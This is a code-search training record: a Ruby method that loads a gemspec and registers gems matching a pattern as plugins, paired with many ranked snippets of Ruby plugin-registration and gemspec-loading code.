[ "0.7112998", "0.7112998", "0.70541435", "0.6955685", "0.69552517", "0.6940652", "0.6940652", "0.692186", "0.6813294", "0.6772844", "0.6772844", "0.6772844", "0.6772844", "0.67088455", "0.66806275", "0.6677824", "0.6677824", "0.64796865", "0.64796865", "0.6450797", "0.64417815", "0.6392094", "0.6384963", "0.6372843", "0.6372843", "0.6372843", "0.6346971", "0.63220257", "0.62773395", "0.6265121", "0.62650263", "0.62557536", "0.6249516", "0.6249516", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.6246276", "0.62389207", "0.62389207", "0.62389207", "0.61583227", "0.61498594", "0.61308473", "0.6124527", "0.6124527", "0.61175597", "0.61175597", "0.61082315", "0.6098591", "0.6093044", "0.60776865", "0.6075042", "0.6045174", "0.6033619", "0.6030578", "0.60232735", "0.6019809", "0.5980042", "0.59779835", "0.5961519", "0.5958253", "0.5958253", "0.59560347", "0.59549063", "0.59549063", "0.5941205", "0.5941205", "0.5941205", "0.59406203", "0.5938124", "0.5938124", "0.59271246", "0.5923514", "0.5923514", "0.5923514", "0.59043366", "0.59035844", "0.59034675", "0.59024966", "0.5896171", "0.58944905", "0.5893602", "0.5888513", "0.5888513", "0.5888513" ]
0.0
-1
Register plugin with name in internal array
def register(name, plugin = false) return unless plugin && !loaded?(name) @plugins << plugin end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def register(plugin, id); end", "def plugin(name)\n @plugins[name]\n end", "def register!\n # Register the plugin.\n @manager.register_plugin! self\n end", "def plugin(name); end", "def << plugin\n @plugins[plugin.to_s] = plugin\n end", "def load_plugin(name); end", "def add_plugin(name)\n if !@data[\"installed\"].include?(name)\n @data[\"installed\"] << name\n end\n\n save!\n end", "def register(*plugins)\n @@plugins += plugins\n end", "def register_plugin(name, &block)\n plugin = Plugin.new\n plugin.instance_eval(&block)\n @plugins[name] = plugin\n end", "def add(plugin); end", "def register(category, name, klass)\n @plugins[category] ||= {}\n @plugins[category][name.downcase] = klass\n end", "def register(plugin)\n\t\tname = plugin.to_s\n\n\t\traise Disbatch::InvalidPluginError unless plugin.respond_to?(:execute)\n\n\t\t@plugins[name] = plugin\n\t\tputs \"Registered #{name}\"\n\tend", "def _add(plugin); end", "def register_for id\n @plugin_id = id\n plugin_host.register self, id\n end", "def register_plugin(name, clazz = nil, &block)\n if clazz\n block = lambda{|_| clazz.new(@source)}\n end\n @plugins.store(name, block)\n end", "def register_plugin(plugin)\n @plugins ||= Set.new\n @plugins << plugin\n end", "def register(klass)\n Globot.logger.debug \"Registered plugin: #{klass}\"\n @plugins << klass\n end", "def register_plugin\n @plugins ||= []\n plugin = Homeland::Plugin.new\n yield plugin\n @plugins << plugin\n @sorted_plugins = nil\n plugin.version ||= \"0.0.0\"\n plugin.source_path = File.dirname(caller(1..1).first)\n plugin\n end", "def register_plugin(plugin)\n plugin.register\n plugin\n rescue => e\n @logger.error(\"Error registering plugin\", :plugin => plugin.inspect, :error => e.message)\n raise e\n end", "def register_plugin\n plugin = Class.new(Vagrant.plugin(\"1\"))\n plugin.name(\"Test Plugin #{plugin.inspect}\")\n yield plugin if block_given?\n @_plugins << plugin\n plugin\n end", "def register(plugin_name, hook_name, &block)\n @registrations ||= {}\n @registrations[hook_name] ||= []\n @registrations[hook_name] << Hook.new(hook_name, plugin_name, block)\n end", "def register_plugin\n @plugins ||= []\n plugin = Homeland::Plugin.new\n yield plugin\n @plugins << plugin\n @sorted_plugins = nil\n plugin\n end", "def add_plugin(plugin)\n @plugins[plugin.name] = plugin\n end", "def register_new_plugin(iCategoryName, iPluginName, iFileName, iDesc, iClassName, iInitCodeBlock)\n @Plugins.register_new_plugin(iCategoryName, iPluginName, iFileName, iDesc, iClassName, iInitCodeBlock)\n end", "def add_plugin(plugin)\n @plugins << plugin\n end", "def plugin(name, options={})\n ops = resolve_defaults(options)\n GemPlugin::Manager.instance.create(name, ops)\n end", "def register_plugin_for(plugin_name,value,callback_type,default=nil,callback_fct=nil,&block)\n current_loader_instance.register_plugin_for(plugin_name,value,callback_type,default,callback_fct,&block)\n end", "def register(name, &plugin_block)\n define_method(name) do |*args, **kwargs, &block|\n t1 = Time.now\n\n data = plugin_block.call(*args, **kwargs, &block)\n\n # If the plugin is just setting the store key\n return nil if data.nil? || !data.key?(:ok)\n\n data[:name] = name\n data[:duration_seconds] = Time.now - t1\n\n Utils.task_and_line(data)\n Utils.node_or_container_label(data)\n data[:task_number] = Store.inc(:count)\n Utils.response(data)\n end\n end", "def get_plugin(name); Ricer::Plugin.by_name(name); end", "def define_plugin(name, options = {}, &block)\n # TODO: Is there a memory leak here?\n \n case name\n when /^@(\\d+)([mh])?/\n interval = $1.to_i\n \n if $2 == \"m\"\n interval = interval * 60\n elsif $2 == \"h\"\n interval = interval * 60 * 60\n end\n \n plugins = @timer_plugins\n plugin = [name, interval, Time.now, block, options]\n \n else\n plugins = @command_plugins\n plugin = [name, block, options]\n end\n\n if options[:position]\n plugins.insert(options[:position], plugin)\n else\n plugins << plugin\n end\n \n plugins.compact!\n end", "def [](name)\n\t\traise Disbatch::NoPluginError unless @plugins.has_key?(name)\n\t\t@plugins[name]\n\tend", "def load_plugins\n self.class.plugins.each do |plugin|\n n = plugin.short_name\n\n plugin.features.each do |f|\n feature_all_sym = f.to_sym\n feature_this_sym = \"#{f}_#{n}\"\n unless respond_to?(feature_all_sym)\n define_singleton_method(feature_all_sym, plugin.feature_all(f))\n end\n unless respond_to?(feature_this_sym)\n define_singleton_method(feature_this_sym, plugin.feature_this(f, n))\n end\n end\n\n define_singleton_method(n, -> { @plugins[n] }) unless respond_to?(n)\n @plugins[n] = plugin.new(self)\n end\n 0\n end", "def InstallPlugin(name: nil, &proc)\n Dsl.register_rb_hook('install_plugin', [], proc, name: name)\n end", "def loadplugins\n @plugins.each do |p|\n Angelia::Util.debug(\"loading plugin angelia/plugin/#{p.downcase}.rb and registering Angelia::Plugin::#{p}\")\n\n Kernel.load(\"angelia/plugin/#{p.downcase}.rb\")\n eval(\"Angelia::Plugin::#{p}.register\")\n end\n end", "def translate_plugin_name(name); end", "def register(const)\n return if registered?(const)\n\n validate_plugin!(const)\n\n @@extensions << const\n end", "def register\n plugin_set.register(self) do |p|\n yield p if block_given?\n end\n end", "def add_plugin(plugin)\n @plugins[plugin.plugin_name] = plugin\n plugin.setup(self)\n end", "def translate_plugin_names; end", "def register(*args)\n registry.register(*args)\n end", "def use(name, options = {})\n return self if enabled_plugins.include?(name)\n\n raise PluginNotFoundError, name unless (plugin = Plugins.registry[name])\n\n plugin.load_dependencies\n plugin.apply_to(self, options)\n\n enabled_plugins << name\n\n self\n end", "def plugin_names\n @plugin_names ||= []\n end", "def registered_plugin_names\r\n configuration.plugins ? configuration.plugins.map(&:to_s) : nil\r\n end", "def register(name, klass)\n registry[name.to_sym] = klass\n end", "def by_name(plugin_name)\n return @plugins[plugin_name] if @plugins.include?(plugin_name)\n begin\n if RUBY_PLUGINS.include?(plugin_name)\n add_ruby_plugin(plugin_name)\n elsif !@unknown.include?(plugin_name)\n add_module_plugin(plugin_name)\n end\n rescue PluginError::Unknown\n @unknown << plugin_name\n nil\n end\n end", "def _add(plugin)\n @plugins << PluginWrapper.new(plugin)\n end", "def find_by_names(names = nil)\n if names\n plugins = names.split(',')\n missing_plugins = plugins - map(&:name)\n \n raise \"Couldn't find plugin(s): #{missing_plugins.to_sentence}\" if missing_plugins.any?\n plugins.collect! {|name| self[name]}\n else\n plugins = self\n end\n \n plugins\n end", "def method_missing(*args, &block)\n #check if we can find a cplusplus widget matching the name\n if widget? args[0].to_s\n spec = find_all_plugin_specs(:plugin_name => args[0].to_s).first\n return spec.create_plugin(*args[1..-1]) if spec\n end\n begin\n __getobj__.send(*args, &block)\n rescue NoMethodError => e\n Vizkit.error \"#{args.first} is not plugin of the ui loader\"\n Vizkit.error \"The following plugins are registered:\"\n names = available_plugins.sort\n Vizkit.error names.join(\", \")\n Kernel.raise e \n end\n end", "def plugin_manager; end", "def load_plugins; end", "def load_plugin_map; end", "def disregard_plugin( *names )\n @disregard_plugin ||= []\n @disregard_plugin.concat(names.map! {|n| n.to_sym})\n @disregard_plugin\n end", "def register_hook(name, hook)\n hooks[name.to_s.downcase.strip.to_sym] << hook\n end", "def register_adapter( a )\n aname = a.name.split('::').last.downcase\n @@adapters[aname] = a\n end", "def register(name, klass)\n @registry[name] = klass\n end", "def load_plugin(name,path)\n\t\tfile = File.join(path,\"#{name.to_s.snakecase}.rb\")\n\t\tswdebug \">>Loading #{name} from #{file}\"\n\t\tload file\n\t\tself.singleton_class.send(:include, name.to_s.constantize)\n end", "def plugin_setup!; end", "def plugins=(_arg0); end", "def plugin(dat)\n pl = nil\n if dat.instance_of? Array\n dat.each do |i|\n pl = pluginr(File.expand_path(\"plugins/#{i}/plugin.rb\"))\n raise ProtonBot::PluginError, \"`plugins/#{i}/plugin.rb` did not return plugin!\" unless\n pl.instance_of? ProtonBot::Plugin\n end\n elsif dat.instance_of? String\n pl = pluginr(File.expand_path(\"plugins/#{dat}/plugin.rb\"))\n raise ProtonBot::PluginError, \"`plugins/#{dat}/plugin.rb` did not return plugin!\" unless\n pl.instance_of? ProtonBot::Plugin\n else\n raise ArgumentError, 'Unknown type of `dat` plugin! Use Array or String!'\n end\n @parr << pl\n self\n end", "def plugin_name\n instance[:name]\n end", "def generate\n name_plugin\n end", "def register tag, name\n @tags[name] = tag\n end", "def register tag, name\n @tags[name] = tag\n end", "def plugin(name)\n @__cinch_name = name\n end", "def set(plugins); end", "def register(thing, *extensions)\n return if extensions.empty?\n extensions.map! { |ext| ext[0] == ?. ? ext.downcase : \".#{ext.downcase}\" }\n extensions.each { |ext| REGISTRY[ext] = thing }\n EXTENSIONS[thing] = extensions.first\n nil\n end", "def instantiate_plugins!\n ::Bicho::Plugins.constants.each do |cnt|\n pl_class = ::Bicho::Plugins.const_get(cnt)\n pl_instance = pl_class.new\n logger.debug(\"Loaded: #{pl_instance}\")\n @plugins << pl_instance\n end\n end", "def create(name, options = {})\n last_slash = name.rindex(\"/\")\n category = name[0 ... last_slash]\n plugin = name[last_slash .. -1]\n\n map = @plugins[category]\n if not map\n raise \"Plugin category #{category} does not exist\"\n elsif not map.has_key? plugin\n raise \"Plugin #{plugin} does not exist in category #{category}\"\n else\n map[plugin].new(options)\n end\n end", "def make_plugin_hash; end", "def initialize_plugins\n plugins.each do |name, klass|\n msg = \"initialize_#{name}\"\n klass.send msg if klass.respond_to? msg\n end\n end", "def add_plugin(plugin)\n client_classes.each do |client_class|\n client_class.add_plugin(plugin)\n end\n end", "def register(name, type)\n registry[name] = type\n end", "def init_plugins\n\t\t\tmethods.grep(/^init_plugin_/).each{|method_name| send(method_name) }\n\t\tend", "def plugin_get(hook, call_params=nil)\n Aurita::Plugin_Register.get(hook, self, call_params)\n end", "def names\n plugins.reduce({}) do |hash, plugin|\n hash[plugin.name] = plugin\n hash\n end\n end", "def plugins; end", "def plugins; end", "def plugins; end", "def plugins; end", "def enable_plugin_shim!\n disable_plugin_shim!\n resources(openvpn_conf: 'server').plugins << plugin_str\n end", "def add_to_group plugin, group:\n group_sym = group.to_sym\n @groups[group_sym] ||= {}\n @groups[group_sym][plugin.to_s] = plugin\n end", "def register_plugins(plugins)\n registered = []\n plugins.each { |plugin| registered << register_plugin(plugin) }\n rescue => e\n registered.each(&:do_close)\n raise e\n end", "def register(ext, name, options = {}, &block)\n regexp = options[:regexp] || Regexp.new(ext.to_s)\n @formats[ext] = { :name => name, :regexp => regexp }\n end", "def plugin(name, options)\r\n log 'plugin', name\r\n\r\n if options[:git] && options[:submodule]\r\n in_root do\r\n Git.run(\"submodule add #{options[:git]} vendor/plugins/#{name}\")\r\n end\r\n elsif options[:git] || options[:svn]\r\n in_root do\r\n run_ruby_script(\"script/plugin install #{options[:svn] || options[:git]}\", false)\r\n end\r\n else\r\n log \"! no git or svn provided for #{name}. skipping...\"\r\n end\r\n end", "def initialize\n super\n self.plugins = []\n if configuration['plugin']\n configuration['plugin'].each do |config|\n plugin_class = config['class'].split('::').inject(Object) {|mod, string| mod.const_get(string)}\n self.plugins << plugin_class.new(self, config['parameters'])\n end\n end\n self.store = self.class.store\n end", "def plugin_array(arr)\n arr.each do |pl|\n if pl[0] == '.'\n gem pl[1,pl.length-1]\n else\n plugin pl\n end\n end\n end", "def plugin_icon(plugin)\n registered = {\n petition: 'hand-rock-o',\n thermometer: 'neuter',\n survey: 'edit',\n text: 'paragraph',\n fundraiser: 'money',\n email_tool: 'envelope-o',\n email_pension: 'university',\n call_tool: 'phone'\n }\n name = plugin.name.underscore.to_sym\n registered.fetch(name, 'cubes')\n end", "def use(name)\n require \"mutant/#{name}\"\n @integration = Integration.lookup(name).new\n rescue LoadError\n $stderr.puts(\"Cannot load plugin: #{name.inspect}\")\n raise\n end", "def plugin_manager=(_arg0); end", "def register(template_class, *extensions); end", "def register(name, options={})\n concerns(options[:as]) if options[:as].present?\n self.name = name.to_sym\n Trackerific::Services[self.name] = self\n end", "def name\n self.class.name.split(\"Ohai::NamedPlugin::\")[1].to_sym\n end", "def register extension = nil, &block\n if block_given?\n registered << block\n elsif extension\n registered << resolve_class(extension)\n end \n end", "def register(name, klass)\n @@parsers ||= {}\n @@parsers[:default] = klass if @@parsers.empty?\n @@parsers[name] = klass\n end", "def plugin(file, options = {})\n require file\n @plugins << plugin_module(file).new(options)\n end", "def has_plugin?(name)\n true\n end", "def get_plugin(name)\n raise \"Unknown plugin: #{ name }\" unless Capistrano::EXTENSIONS.keys.include?(name)\n self.send(name)\n end", "def plugin? name\n self.class.plugins.include? name\n end", "def register(name, klass)\n Registry.instance.register(name, klass)\n end", "def register(object); end" ]
[ "0.7747027", "0.7406852", "0.73945683", "0.73907757", "0.73562616", "0.72290117", "0.72211283", "0.72204417", "0.72193795", "0.7164622", "0.70767844", "0.70114243", "0.69876015", "0.6931228", "0.68947953", "0.6870711", "0.68464464", "0.68297637", "0.67886204", "0.6771686", "0.6727789", "0.67150754", "0.6682094", "0.6644898", "0.6585648", "0.6538647", "0.651716", "0.65005445", "0.6450865", "0.6424535", "0.6418006", "0.63896173", "0.631229", "0.6278491", "0.6250278", "0.6222359", "0.62164736", "0.620823", "0.6185416", "0.6168355", "0.616792", "0.6164883", "0.6154071", "0.61474836", "0.6113036", "0.61089987", "0.61043054", "0.60589665", "0.60506386", "0.6014043", "0.6011698", "0.6001558", "0.6001038", "0.5988968", "0.59842414", "0.5982416", "0.595835", "0.5950938", "0.5943704", "0.59383225", "0.59373844", "0.5933751", "0.5933751", "0.59320706", "0.59288096", "0.5928364", "0.59110093", "0.5902004", "0.58886945", "0.58882934", "0.58798796", "0.58730006", "0.5868434", "0.58554393", "0.5844542", "0.5841379", "0.5841379", "0.5841379", "0.5841379", "0.5836726", "0.58339554", "0.5831655", "0.58310777", "0.5830649", "0.5829925", "0.581365", "0.58111066", "0.5804435", "0.58002156", "0.5788788", "0.578412", "0.57798475", "0.57790834", "0.5774745", "0.57657486", "0.5764172", "0.5756121", "0.5752103", "0.5739184", "0.5736747" ]
0.78041494
0
Loads gemspec from a file and registers gems matching pattern.
def load_from(gemspec_path, pattern) Gem.refresh spec = Gem::Specification.load(gemspec_path) dependencies = spec.runtime_dependencies.concat(spec.development_dependencies) dependencies.each do |gem| gem_name = gem.name[pattern] next if gem_name.to_s.empty? register(gem_name, Plugin.new(gem_name, gem)) end self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_gemspec!\n @gemspec = eval(File.read(@gemspec_file))\n end", "def load_gemspec\n\n text = File.read(gemspec_file)\n if text =~ /\\A---/ \n require 'yaml'\n spec = YAML.load(text)\n else\n #spec = eval(text) #, gemspec_file)\n spec = ::Gem::Specification.load(gemspec_file)\n end\n\n data = {}\n data[:name] = spec.name\n data[:version] = spec.version.to_s\n data[:date] = spec.date\n\n data[:paths] = {\n 'load' => spec.require_paths \n }\n\n data[:requirements] = []\n\n spec.runtime_dependencies.each do |dep|\n req = { \n 'name' => dep.name,\n 'version' => dep.requirement.to_s\n }\n data[:requirements] << req\n end\n\n spec.development_dependencies.each do |dep|\n req = { \n 'name' => dep.name,\n 'version' => dep.requirement.to_s,\n 'development' => true\n }\n data[:requirements] << req\n end\n\n update(data)\n end", "def load_gemspec!(gemspec=nil)\n case gemspec\n when ::Gem::Specification\n spec = gemspec\n else\n file = Dir[root + \"{*,}.gemspec\"].first\n return unless file\n text = File.read(file)\n if text =~ /\\A---/\n spec = ::Gem::Specification.from_yaml(text)\n else\n spec = ::Gem::Specification.load(file)\n end\n end\n\n dotruby.import_gemspec(spec)\n end", "def load_gemspec (spec_file_location)\n begin\n spec_file_location = spec_file_location.dup.untaint\n content = File.read spec_file_location\n spec = eval_gemspec(content, spec_file_location)\n rescue Exception => e\n warn \"Invalid gemspec in [#{spec_file_location}]: #{e}. Falling back to file string parse.\"\n spec = load_gemspec_fallback(spec_file_location)\n end\n\n spec\n end", "def load_specification(file_name)\n begin\n spec_code = File.read(file_name).untaint\n gemspec = eval(spec_code)\n if gemspec.is_a?(Gem::Specification)\n gemspec.loaded_from = file_name\n return gemspec\n end\n alert_warning \"File '#{file_name}' does not evaluate to a gem specification\"\n rescue SyntaxError => e\n alert_warning e\n alert_warning spec_code\n rescue Exception => e\n alert_warning(e.inspect.to_s + \"\\n\" + spec_code)\n alert_warning \"Invalid .gemspec format in '#{file_name}'\"\n end\n return nil\n end", "def gemspec\n @gemspec ||= (\n require 'rubygems'\n ::Gem::Specification.load(gemspec_file)\n )\n end", "def load_specification(file_name); end", "def load_gems_in(*spec_dirs); end", "def with_each_gemspec\n Dir[\"**/*.gemspec\"].each do |file|\n yield(file, Gem::Specification.load(file)) if block_given?\n end\nend", "def find_gemspec(name, path) # :nodoc:\n glob = File.join path, \"#{name}.gemspec\"\n\n spec_files = Dir[glob]\n\n case spec_files.length\n when 1 then\n spec_file = spec_files.first\n\n spec = Gem::Specification.load spec_file\n\n return spec if spec\n\n raise ArgumentError, \"invalid gemspec #{spec_file}\"\n when 0 then\n raise ArgumentError, \"no gemspecs found at #{Dir.pwd}\"\n else\n raise ArgumentError,\n \"found multiple gemspecs at #{Dir.pwd}, \" +\n \"use the name: option to specify the one you want\"\n end\n end", "def parse_required(input)\n gemspecs = []\n input.split(\"\\n\").grep(/^no such file to load -- (.+)\\s*$/) do |line|\n gemspecs << {:name => $1.strip}\n end\n gemspecs\n end", "def load_plugin_gemspec\n gemspecs = @plugin_name ? [File.join(@base, \"#{@plugin_name}.gemspec\")] : Dir[File.join(@base, \"{,*}.gemspec\")]\n raise \"Unable to find your plugin gemspec in #{@base}\" if gemspecs.size == 0\n raise \"Found multiple plugin gemspec in #{@base} : #{gemspecs.inspect}\" if gemspecs.size > 1\n spec_path = gemspecs.first\n @logger.debug \"Loading #{spec_path}\"\n Gem::Specification.load(spec_path)\n end", "def load_gemsFiles(file_name)\n return if !FileTest.exists?(file_name)\n file = nil\n j =0\n i=0\n begin\n file = File.open(file_name)\n file.each_line { |line| \n i=0\n for k in 0...15\n if( line[k] != \" \" )\n createGemOnBoardWithCode(line[k], i, j)\n i += 1\n end\n end\n j += 1\n } \n rescue IOError\n puts $!.message\n puts $!.backtrace\n ensure\n file.close\n end\n end", "def load_gems_in(*spec_dirs)\n @gems.clear\n specs = Dir.glob File.join(\"{#{spec_dirs.join(',')}}\", \"*.gemspec\")\n specs.each do |file_name|\n gemspec = self.class.load_specification(file_name.untaint)\n add_spec(gemspec) if gemspec\n end\n self\n end", "def manifest_task\n # Load all the gem's files using \"git ls-files\"\n repository_files = `#{git} ls-files`.split(\"\\n\")\n test_files = Dir[test_pattern] + Dir[spec_pattern]\n\n update_gemspec(:files, repository_files)\n update_gemspec(:test_files, repository_files & test_files)\n end", "def add_to_load_path\n Gem.source_index.load_gems_in(*Gem::SourceIndex.installed_spec_directories | [ruby_spec_path, arch_spec_path])\n end", "def load(filename)\n @filename = filename.to_s\n mode = :in_header\n IO.readlines(@filename).each do |line|\n case mode\n when :in_header\n if line =~ %r{^\\s*gem\\.}\n mode = :in_dev_body\n case line\n when %r{^\\s*gem\\.add_development_dependency}\n @dev_dependencies << line\n when %r{^\\s*gem\\.add_dependency}\n @gem_dependencies << line\n else\n @body << line\n end\n else\n @header << line\n end\n when :in_dev_body\n if line =~ %r{^\\s*end}\n mode = :in_footer\n @footer << line\n else\n case line\n when %r{^\\s*gem\\.add_development_dependency}\n @dev_dependencies << line\n when %r{^\\s*gem\\.add_dependency}\n @gem_dependencies << line\n else\n @body << line\n end\n end\n when :in_footer\n @footer << line\n end\n end\n end", "def util_read_spec(filename)\n unless Gem::VERSION >= \"2.0.0\"\n io = File.open(filename, \"rb\")\n Gem::Package.open(io, \"r\") { |x| x.metadata }\n else\n Gem::Package.new(filename).spec\n end\n end", "def util_read_spec(filename)\n unless Gem::VERSION >= \"2.0.0\"\n io = File.open(filename, \"rb\")\n Gem::Package.open(io, \"r\") { |x| x.metadata }\n else\n Gem::Package.new(filename).spec\n end\n end", "def eval_gemspec (content, spec_file_location)\n content.untaint\n spec = eval content, binding, spec_file_location\n\n if Gem::Specification === spec\n spec.loaded_from = File.expand_path spec_file_location.to_s\n return spec\n end\n\n nil\n end", "def pattern\n \"#{@gem}/spec{,/*/**}/*_spec.rb\"\n end", "def add(gemspec)\n @specs << gemspec\n end", "def load_gemspec_fallback (spec_file_location)\n gemspec_add_dep_lines = []\n new_gemspec = nil\n begin\n File.readlines(spec_file_location).each do |line|\n if (line.include?(\"add_dependency\") || line.include?(\"add_runtime_dependency\")) then\n gemspec_add_dep_lines << line\n end\n end\n\n # construct a gemspec file\n if !gemspec_add_dep_lines.empty?\n new_gemspec = \"Gem::Specification.new do |s|\\n s.name = %q{#{spec_file_location}}\\n#{gemspec_add_dep_lines.join(\"\\n\")} \\nend\"\n full_eval_gemspec = eval_gemspec(new_gemspec, spec_file_location)\n return full_eval_gemspec\n end\n rescue Exception => ex\n warn \"Gem string parse fallback failed. #{ex}. Srclib will now skip this gemspec file\"\n end\n\n nil\n end", "def load_spec(name, version, platform, source) # :nodoc:\n @specs.fetch name\n end", "def local_gemspec(path)\n glob = File.join(path, '{,*}.gemspec')\n Dir[glob].first\n end", "def gemspec\n @gemspec ||= begin\n raise Error.new(\"Unable to automatically determine gem name from specs in #{base}. Please set the gem name via #{self.class.name}.install_tasks(gem_name: 'name')\") unless gem_name\n g = Bundler.load_gemspec(File.join(base, gem_name+'.gemspec'))\n # This is returning the path it would be in if installed normally,\n # override so we get the local path. Also for reasons that are entirely\n # beyond me, #tap makes Gem::Specification flip out so do it old-school.\n g.full_gem_path = base\n g\n end\n end", "def initialize_specfile\n @spec = Prigner::Spec.load(specfile)\n end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def register_default_spec(spec)\n extended_require_paths = spec.require_paths.map {|f| f + \"/\" }\n new_format = extended_require_paths.any? {|path| spec.files.any? {|f| f.start_with? path } }\n\n if new_format\n prefix_group = extended_require_paths.join(\"|\")\n prefix_pattern = /^(#{prefix_group})/\n end\n\n spec.files.each do |file|\n if new_format\n file = file.sub(prefix_pattern, \"\")\n next unless $~\n end\n\n spec.activate if already_loaded?(file)\n\n @path_to_default_spec_map[file] = spec\n @path_to_default_spec_map[file.sub(suffix_regexp, \"\")] = spec\n end\n end", "def load_from_file(dir, file=\"/specs.def\")\n JSON.parse(IO.read(File.join(dir, file))) rescue raise ArgumentError\n end", "def gemspec(prop)\n begin\n require 'rubygems'\n @gemspec ||= Gem::Specification.load(\n Dir['**/*.gemspec'].first\n )\n @gemspec.send prop\n rescue\n nil\n end\n end", "def find(path)\n @gemspecs.each do |spec|\n return spec if matching_file(spec, path)\n end\n nil\n end", "def load_spec(name, ver, platform, source) # :nodoc:\n key = \"#{name}-#{ver}-#{platform}\"\n\n @specs.fetch key do\n tuple = Gem::NameTuple.new name, ver, platform\n\n @specs[key] = source.fetch_spec tuple\n end\n end", "def specs\n checkout\n\n return [] unless install_dir\n\n Dir.chdir install_dir do\n Dir['{,*,*/*}.gemspec'].map do |spec_file|\n directory = File.dirname spec_file\n file = File.basename spec_file\n\n Dir.chdir directory do\n spec = Gem::Specification.load file\n if spec\n spec.base_dir = base_dir\n\n spec.extension_dir =\n File.join base_dir, 'extensions', Gem::Platform.local.to_s,\n Gem.extension_api_version, \"#{name}-#{dir_shortref}\"\n\n spec.full_gem_path = File.dirname spec.loaded_from if spec\n end\n spec\n end\n end.compact\n end\n end", "def load_from(gem)\n files = Find.path(CONFIG_FILE, :from=>gem)\n file = files.find{ |f| File.file?(f) }\n new(*file)\n\n #if file\n # paths = [file]\n #else\n # #paths = Find.path(CONFIG_DIR + '/**/*', :from=>gem)\n #end\n #files = paths.select{ |path| File.file?(path) }\n #new(*files)\n end", "def spec_file\n @spec_file ||= File.join spec_dir, \"#{full_name}.gemspec\"\n end", "def load_spec name, ver, platform, source\n key = \"#{name}-#{ver}-#{platform}\"\n\n @specs.fetch key do\n tuple = Gem::NameTuple.new name, ver, platform\n\n @specs[key] = source.fetch_spec tuple\n end\n end", "def gemspec(path)\n installed_gemspec(path) || local_gemspec(path)\n end", "def load_spec name\n cache\n\n gemspec_reference = \"#{@reference}:#{name}.gemspec\"\n\n Dir.chdir repo_cache_dir do\n source = Gem::Util.popen @git, 'show', gemspec_reference\n\n source.force_encoding Encoding::UTF_8 if Object.const_defined? :Encoding\n source.untaint\n\n begin\n spec = eval source, binding, gemspec_reference\n\n return spec if Gem::Specification === spec\n\n warn \"git gem specification for #{@repository} #{gemspec_reference} is not a Gem::Specification (#{spec.class} instead).\"\n rescue SignalException, SystemExit\n raise\n rescue SyntaxError, Exception\n warn \"invalid git gem specification for #{@repository} #{gemspec_reference}\"\n end\n end\n end", "def load_path(match, options={})\n options = valid_load_options(options)\n\n specs = specifications(options)\n\n matches = []\n specs.each do |spec|\n list = []\n spec.require_paths.each do |path|\n glob = File.join(spec.full_gem_path, path, match)\n list = Dir[glob] #.map{ |f| f.untaint }\n list = list.map{ |d| d.chomp('/') }\n # return relative paths unless absolute flag\n if options[:relative] #not options[:absolute]\n # the extra '' in File.join adds a '/' to the end of the path\n list = list.map{ |f| f.sub(File.join(spec.full_gem_path, path, ''), '') }\n end\n matches.concat(list)\n end\n # activate the library if activate flag\n spec.activate if options[:activate] && !list.empty?\n end\n matches\n end", "def load_spec(name, version, platform, source) # :nodoc:\n dep = Gem::Dependency.new name, version\n\n found = @specs.find do |spec|\n dep.matches_spec? spec and spec.platform == platform\n end\n\n tuple = Gem::NameTuple.new found.name, found.version, found.platform\n\n found.source.fetch_spec tuple\n end", "def load_gemfiles(directories)\n directories.each do |directory|\n gemfile = File.expand_path(File.join(directory, 'Gemfile'))\n eval(File.read(gemfile), binding) if File.exist?(gemfile)\n end\nend", "def load_gemfile(path)\n gf = GemFile.new(self, path)\n gf.load\n end", "def from_gems_in(*spec_dirs)\n self.new.load_gems_in(*spec_dirs)\n end", "def gemspecs; end", "def add_specs(*gem_specs); end", "def add_spec(gem_spec)\n @gems[gem_spec.full_name] = gem_spec\n end", "def load!\n contents = File.read(filepath).strip\n hash = parse(contents)\n\n hash[:dependencies].each do |name, options|\n # Dynamically calculate paths relative to the Berksfile if a path is given\n options[:path] &&= File.expand_path(options[:path], File.dirname(filepath))\n\n begin\n add(Berkshelf::Dependency.new(berksfile, name.to_s, options))\n rescue Berkshelf::CookbookNotFound\n # It's possible that a source is locked that contains a path location, and\n # that path location was renamed or no longer exists. When loading the\n # lockfile, Berkshelf will throw an error if it can't find a cookbook that\n # previously existed at a path location.\n end\n end\n end", "def loadFile(filename)\n\t\t\tdescname = filename.basename.sub_ext(\"\").to_s + \"Desc\"\n\t\t\tif(!@loaded.include?(descname))\n\t\t\t\t@loaded << descname\n\n\t\t\t\tfilename = filename.to_s\n\t\t\t\tlast = $mec_mgr\n\n\t\t\t\t$mec_mgr = self\n\t\t\t\trequire(filename)\n\t\t\t\t$mec_mgr = last\n\t\t\t\t\n\t\t\t\tdesc = begin\n\t\t\t\t\tMakeRbExt.const_get(descname)\n\t\t\t\trescue NameError\n\t\t\t\t\traise(\"File `#{filename}' should contain a ruby module `#{descname}', but doesn't\")\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tdesc.register(@settings)\n\t\t\tend\n\t\tend", "def gemspecs\n return [] if directory.empty? || directory == '*'\n @gemspecs ||= Dir[File.join(directory, '**/*.gemspec')].select do |gs|\n config.allow? gs\n end\n end", "def load_packages\n pattern = File.expand_path(File.join(\"..\", \"*.rb\"), File.dirname(__FILE__)) \n Dir[pattern].each {|f| load f}\n end", "def process gemfile, describing = nil, described = nil\n file = read gemfile\n\n lines = file.read.split \"\\n\"\n\n processed_lines = []\n\n lines.each_with_index do |line, i|\n matches = line.match /^( *)gem ['\"](.+?)['\"]/\n\n if matches\n previous_line = lines[i - 1]\n\n whitespace = matches[1]\n gem = matches[2]\n source = extract_source_and_options line\n\n unless previous_line =~ /^ *#/\n describing.call gem if describing\n\n description = describe gem, source\n\n described.call description if described\n\n processed_lines << format(description, \"#{whitespace}#\")\n end\n end\n\n processed_lines << line\n end\n\n processed_lines.join(\"\\n\") + \"\\n\"\n end", "def enhance_gemfile\n gem_lines = File.readlines('Gemfile').select{ |line| line =~ /^gem/ }\n @original_gems = gem_lines.reject do |line|\n line =~ /'(#{ SKIP_GEMS.join '|' })'/\n 